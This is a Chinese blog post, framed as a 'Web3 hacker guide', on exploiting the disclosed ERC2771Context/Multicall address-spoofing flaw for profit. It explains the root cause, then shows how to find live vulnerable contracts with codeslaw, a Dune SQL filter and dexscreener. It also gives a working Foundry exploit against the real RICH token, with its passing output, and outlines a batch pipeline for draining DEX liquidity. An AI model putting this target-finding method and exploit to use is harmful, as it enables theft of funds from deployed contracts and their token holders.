前言
Web3 对黑客最友好的地方就在于,只要有足够的技术水平,个人可以通过极低的成本获取丰厚的利润,且很难被溯源问责。
对于传统安全来说,实施网络攻击是比较复杂的。攻击者需要提前进行大量的准备:各类信息收集工具、1day 甚至 0day 漏洞利用工具、匿名服务器代理等等。这些工具的整理、平台的搭建甚至整个团队在实施攻击过程中的协作能力,需要付出大量的时间与金钱成本进行储备。而在付出了这些成本后,其实还没有特别清晰且有预期的变现方式,目前找到的普遍还是病毒勒索、贩卖数据的老路。
这些问题在 Web3 中都变得简单。不仅仅变现非常容易,甚至在技术积累这一层,由于现在各类链上数据分析工具、交易解析工具的丰富,对攻击者的要求也大大降低了。
前段时间(12月7号)OpenZeppelin 披露的 ERC2771Context Multicall[1] 漏洞并非是某个 DeFi 应用的具体漏洞,而是一种漏洞模式,在所有同时使用 ERC2771Context Multicall 两种模块的应用均受影响。这有点像 Web2 领域的 struct2 时刻,无数脚本小子都可以借着“时代”的红利分一杯羹。
即使没有搭建过自己的监控、交易分析平台,也依然可以利用各类免费工具,在漏洞披露早期寻找到有效的攻击目标并实施攻击获利。
漏洞成因
ERC-2771[2] 是一种早期的元交易标准。简单来说就是可以在协议中定义一个可信的 Forwarder,当协议处理从 Forwarder 中发起的合约调用时,会取 msg.data 最后 20 bytes 作为 msg.sender 来使用。
以下是 OpenZeppelin 的 ERC2771Context 实现:
// @openzeppelin/contracts/metatx/ERC2771Context.sol
abstract contract ERC2771Context is Context {
function _msgSender() internal view virtual override returns (address sender) {
if (isTrustedForwarder(msg.sender)) {
// 取 msg.data 最后 20 bytes 作为 msg.sender
assembly {
sender := shr(96, calldataload(sub(calldatasize(), 20)))
}
} else {
return super._msgSender();
}
}
}
这是一个 Forwarder 的例子[3],通过签名验证后,Forwarder 会将 ForwardRequest
的 from
放在 msg.data
的后面,然后进行合约调用。这样可以实际简单的 gasless 代付功能,允许真正的 sender 地址无任何 gas,只需要签名,就可以与协议交互。相比于 ERC-4337 AA 钱包的代付,这种方案的缺点在于,需要目标协议事先进行 ERC-2771 支持的集成。
这是 Forwarder 的核心代码示例:
contract Forwarder is EIP712 {
using ECDSA for bytes32;
struct ForwardRequest {
address from;
address to;
uint256 value;
uint256 gas;
uint256 nonce;
bytes data;
}
function execute(ForwardRequest calldata req, bytes calldata signature)
public
payable
returns (bool, bytes memory)
{
require(verify(req, signature), "MinimalForwarder: signature does not match request");
_nonces[req.from] = req.nonce + 1;
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory result) = req.to.call{ gas: req.gas, value: req.value }(
abi.encodePacked(req.data, req.from)
);
// ...
}
}
上面两种实现是没什么问题的。但当合约中同时使用 Multicall 模块时,就会产生意想不到的问题。Multicall 模块允许发送一组 data,然后通过对自身进行 delegatecall,实现在一笔交易中对多个合约方法的调用。这种实现其实很常见,比如 Uniswap V3 的 Router 中就有类似的代码。
Multicall 核心代码如下:
// @openzeppelin/contracts-upgradeable/utils/MulticallUpgradeable.sol
abstract contract MulticallUpgradeable is Initializable {
function multicall(bytes[] calldata data) external virtual returns (bytes[] memory results) {
results = new bytes[](data.length "");
for (uint256 i = 0; i < data.length; i++) {
results[i] = _functionDelegateCall(address(this), data[i]);
}
return results;
}
function _functionDelegateCall(address target, bytes memory data) private returns (bytes memory) {
require(AddressUpgradeable.isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return AddressUpgradeable.verifyCallResult(success, returndata, "Address: low-level delegate call failed");
}
}
回想前面 Forwarder 的实现,真正的 msg.sender
被放到 msg.data
的最后。而在 multicall 中,经过对 data 的拆分分发后,Forwarder 设置的 msg.sender
实际被丢弃了。会直接向目标合约传入完全用户可以控的 data[i]
。攻击者可以在 data[i]
中伪造任意的 msg.sender
。经过 delegatecall 后,对于协议来说函数调用方仍然是 Forwarder,因此会从 data[i]
尾部取出攻击者伪造的数据作为 msg.sender
来使用。
利用这个漏洞,攻击可以将自己伪装成任意地址与目标协议进行交互,将受害者的资产转移给自己。
寻找目标
漏洞成因已经十分清楚了,那么如何在链上寻找攻击目标呢?最直接的想法就是寻找同时继承了 ERC2771Context 和 Multicall 模块的合约。对于有一定规模的安全团队来说,如果日常已经维护着采集链上合约的平台,就可以直接在数据平台中进行搜索。
普通人来说要困难一些,不过幸好,已经有人做了类似的工作并公开给大家使用。在 codeslaw.app 网站中,可以直接搜索 ERC2771Context Multicall
关键字,查找代码中包含这两个字符串的合约。链接如下:
https://www.codeslaw.app/search?chain=ethereum&q=ERC2771Context+Multicall
搜索结果中可以看到很多符合要求的合约, 比如 DropERC20 合约[4] 就直接继承了 ERC2771Context 和 Multicall,完美的符合漏洞模式。
contract DropERC20 is
Initializable,
ContractMetadata,
PlatformFee,
PrimarySale,
PermissionsEnumerable,
Drop,
ERC2771ContextUpgradeable, // <---
MulticallUpgradeable, // <---
ERC20BurnableUpgradeable,
ERC20VotesUpgradeable
{
...
}
进一步可以发现这个合约实际是一个 proxy 的 implementation 合约。在 codeslaw.app 的 dependencies
窗口中,可以方便的找到使用这个 implementation 的 proxy 合约。
排名第一的是 BOZO Token[5]。使用 dexscreener[6] 可以找到对应的 DEX 池子,发现竟然还有 $6K 的余量。
上面的测试是在 12月17日,此时已经距离 OpenZeppelin 披露漏洞细节过去了 10 天,然后还有漏网之鱼?
深入分析可以发现 BOZO 幸免于难的原因。原来虽然他继承了 ERC2771Context,但在合约初始化时,没有设置 Forwarders。因此实际上并不能使用 ERC2771Context 相关功能,进而不受漏洞影响。
通过 Phalcon 网站可以看到 BOZO 合约初始化时的调用细节。
目标过滤
那么如何找到初始化时设置了 Forwarders 的合约呢?为了避免手动看每个初始化交易的细节,我们需要更简单的批量过滤方式。
initialize
方法中的 _trustedForwarders
数组是最后一个变长参数,因此在正常的 abi.encode 过程中,这个数组的数据会被放到最后。对比初始化设置了 Forwarders 和没设置 Forwarders 的两个合约 initialize
时的 calldata
BOZO 如下:
RICH[7] 如下:
这是很明显的交易特征。可以通过 dune.com 编写 SQL 查询过滤。示例如下:
select
block_time,
"from" as proxy,
"to" as impl
from ethereum.traces
where block_time > now() - interval '500' day
and call_type = 'delegatecall'
and bytearray_substring(input, 1, 4) = 0xdfad80a6 -- initialize selector
and bytearray_substring(input, -4, 4) != 0x00000000 -- forwarders not zero.
我们可以找到调用 initialize 函数,且设置了 Forwarders 的合约。
进一步的,利用 dune,我们还可以查询出每种合约相应的交易次数,为合约打一些标签,从而更容易找到有价值的漏洞合约。
另一方面 dune 支持了主流的 EVM 链,这通过这种方式也可以方便的查到不同链上的漏洞合约。
漏洞利用
找到了目标合约,实际进行漏洞利用反而是比较简单的一步。这里直接给一个示例代码,这个代码可以实现 RICH token 的任意 approve。(注:该 Token 已经基本没有流动性,以下仅作示例,并不能实际获利)
function testMain() public {
address owner = address(10001);
address spender = address(10002);
uint256 signerKey = 1;
address signer = vm.addr(signerKey);
address forwarder = 0x84a0856b038eaAd1cC7E297cF34A7e72685A8693;
// RICH
address token = 0x5aAEf4659c683D2B00Ef86aa70c6Ab2E5A00BCc7;
console.log("before", IERC20(token).allowance(owner, spender));
bytes memory data = abi.encodeCall(IERC20.approve, (spender, 10000));
data = abi.encodePacked(data, owner);
bytes[] memory datas = new bytes[](1 "] memory datas = new bytes[");
datas[0] = data;
data = abi.encodeCall(IMulticall.multicall, (datas));
IBiconomyForwarder.ERC20ForwardRequest memory req;
req.from = signer;
req.to = token;
req.data = data;
req.deadline = type(uint256).max;
req.txGas = gasleft();
bytes32 digest = keccak256(
abi.encodePacked("x19Ethereum Signed Message:n32",
keccak256(
abi.encodePacked(
req.from,
req.to,
req.token,
req.txGas,
req.tokenGasPrice,
req.batchId,
IBiconomyForwarder(forwarder).getNonce(req.from, req.batchId),
req.deadline,
keccak256(req.data)
)
)
)
);
(uint8 v, bytes32 r, bytes32 s) = vm.sign(signerKey, digest);
bytes memory sig = abi.encodePacked(r, s, v);
IBiconomyForwarder(forwarder).verifyPersonalSign(req, sig);
IBiconomyForwarder(forwarder).executePersonalSign(req, sig);
console.log("after", IERC20(token).allowance(owner, spender));
}
运行
[PASS] testMain() (gas: 99893)
Logs:
before 0
after 10000
进一步扩展这个利用形式,对于有流动性的 Token,则可以将 DEX 池中的有价格代币转走。链上观察到的攻击手法包括:
-
利用漏洞将池子的 Token transfer 给自己,拉高池子价格,再进行 swap。 -
利用漏洞将池子的 Token burn 掉,拉高池子价格,再进行 swap。 -
利用漏洞把 Token 大量 mint 给自己,再进行 swap。 -
等等
上述过程也可以直接通过合约完成。那么一个理想的批量攻击流程可能是:
-
dune 输出可能的漏洞 ERC20 合约地址 -
上述地址脚本通过 dexscreener 过滤在 DEX 上有流动性的 token -
调用攻击合约触发漏洞抽取流动性获利。
至此,一个在通用型漏洞披露过程中获利的思路及方法已经展示完毕。
不过现在再去应用上述方式可能收益有限,毕竟此时距离漏洞披露已经过了10天,大部分有价值的漏洞合约已经被吃干抹净。剩余的大多因为各类不同原因而无法利用。比如 SUPER[8] 所使用的 OpenZeppelin 库版本比较特殊, 在其 functionDelegateCall
不允许调用方为合约。因此通过 Forwarder 调用 Multicall 时会 revert。从而不受漏洞影响。
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target) && !isContract(msg.sender), "Address: invalid delegate call");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
我们在 Debank 上可以查看到某个攻击者 0x340509fee1005cce6ec075c53f7a7b2c7b769f9d 的交易记录[9],可以看其从 12 月 07 号开始,陆续攻击了 BSC, Polygon, Avalanche, Fantom, Base 等等多条上的不同漏洞 ERC20 合约。
这是一个示例交易[10]。
攻击过程:
-
通过 Forwarder 发起交易 -
通过 multicall 触发漏洞,将 DEX Pool 的 token 转移到自身 -
调用 swap 兑换成 USDT 获利
后记
本文中使用到的工具包括:
-
合约源码数据库 codeslaw.app -
交易 trace 分析平台 Phalcon -
DEX 信息平台 DexScreener -
链上数据分析平台 Dune -
账户数据平台 Debank -
智能合约开发框架 Foundry
感谢所有 builder 的贡献。
本文展示的分析过程、定位漏洞合约的步骤看似繁琐,但实际都是利用公开的免费工具,对于熟练的安全人员,仅需要几个小时即可完成。对于经验丰富的攻击者,由于工具、代码储备更加完备,上述时间还要进一步缩短。通用型漏洞一旦被披露,几小时内就可能被批量利用。因此无论对于漏洞修复者,还是其他想捡漏的黑帽子而言,时间都是非常紧张的。在某种程度上正是 时间就是金钱
的完美诠释。
本文主要选择了最容易定位的 ERC20 类型合约作例子。实际这个漏洞还可能存在其他更复杂的 DeFi 协议中,但如何低误报的定位到这些协议,还需要更好的方法或工具。
寻找受影响的合约的过程中发现大部分受影响合约均与 thirdweb[11] 有关。回想最初 OpenZeppelin 漏洞披露的文章,发现此类漏洞模式的也是 thirdweb。thirdweb 是一个 web3 development toolkit,其中提供了 ERC20, NFT 等常见 web3 模板。作为模板 thirdweb 尽可能的集成了各类工具,因此其模板合约中普遍继承了 ERC2771Context 和 Multicall,从而大多都受此类攻击的影响。更进一步的追踪可以发现,原来 thirdweb 在 12 月 4 号就发现了这类问题,并发布了公告[12]。所以本质是 thirdweb 在自家产品中发现了问题,随后同步给了 OpenZeppelin。公告中列出了受影响的合约列表,同时 thirdweb 还发布了检测工具和修复工具。不过由于 thirdweb 合约模板在部署过程中使用的是不可更新的 proxy,所以对于 ERC20 类合约,实际并不能真正的修复,只是提供了快照工具,方便项目方重新发布新的替换合约。
参考资料
OpenZeppelin ERC2771Context Multicall 漏洞公告: https://blog.openzeppelin.com/arbitrary-address-spoofing-vulnerability-erc2771context-multicall-public-disclosure
[2]ERC-2771 标准: https://eips.ethereum.org/EIPS/eip-2771
[3]Forwarder 合约示例: https://etherscan.io/address/0xc82bbe41f2cf04e3a8efa18f7032bdd7f6d98a81#code
[4]DropERC20 合约代码: https://www.codeslaw.app/contracts/ethereum/0xe1ee43d23f247b6a9af81fce2766e76709482728
[5]BOZO Token 合约: https://etherscan.io/address/0x8ac4855b59ce5227d343983f73a4c14ff6241b4c
[6]dexscreener 网站: https://dexscreener.com/ethereum/0x688447f73e59cef6f82735104f48a34db84b1598
[7]RICH: https://explorer.phalcon.xyz/tx/eth/0x866156e7e98d48ec2075ebc6728141a57b1ec4a1f6022c293fe83417ee27a4f4?line=5
[8]SUPER: https://snowtrace.io/address/0x15864F2962A6F562765C5F4481309Da736961DdC
[9]攻击者 Debank 交易记录: https://debank.com/profile/0x340509fee1005cce6ec075c53f7a7b2c7b769f9d/history
[10]攻击示例交易: https://explorer.phalcon.xyz/tx/bsc/0xe20bac3c298b807bc981fe2af9f83317976b3f5de6405b629572c77b295d83b9
[11]thirdweb: https://thirdweb.com/
[12]公告: https://blog.thirdweb.com/security-vulnerability/
原文始发于微信公众号(Diary of Owen):Web3 黑客指南:如何通过 OpenZeppelin 漏洞搞 $ ?